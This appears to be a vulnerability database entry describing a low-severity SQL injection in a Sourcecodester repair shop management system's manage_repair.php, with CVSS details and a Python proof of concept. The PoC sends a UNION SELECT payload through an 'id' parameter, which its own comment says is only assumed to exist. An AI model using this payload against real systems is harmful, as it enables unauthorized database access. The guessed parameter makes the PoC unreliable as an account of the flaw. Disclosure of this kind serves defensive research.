Sourcecodester Computer and Mobile Repair Shop Management System v1.0 is vulnerable to SQL injection in the file /rsms/admin/repairs/manage_repair.php.
CVSS Details
CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
Configurations (Affected Products)
No configuration data available.
Sourcecodester Computer and Mobile Repair Shop Management System v1.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-36943 SQL Injection
# Target: /rsms/admin/repairs/manage_repair.php
import requests
target_url = "http://target.com/rsms/admin/repairs/manage_repair.php"
# Note: High privileges (PR:H) are required, so valid cookies/session are needed.
cookies = {
"PHPSESSID": "valid_admin_session_id"
}
# Example payload to test for SQL Injection (Assuming parameter 'id' exists)
payload = {
"id": "1' UNION SELECT 1, 2, database(), version()-- -"
}
try:
response = requests.get(target_url, params=payload, cookies=cookies, timeout=10)
if response.status_code == 200:
# Check if database error or data is reflected in response
if "syntax error" in response.text or "mysql" in response.text.lower():
print("[+] Potential SQL Injection vulnerability detected!")
else:
print("[+] Request sent, manually verify response for data leakage.")
else:
print("[-] Target unreachable or returned non-200 status.")
except Exception as e:
print(f"[-] Error: {e}")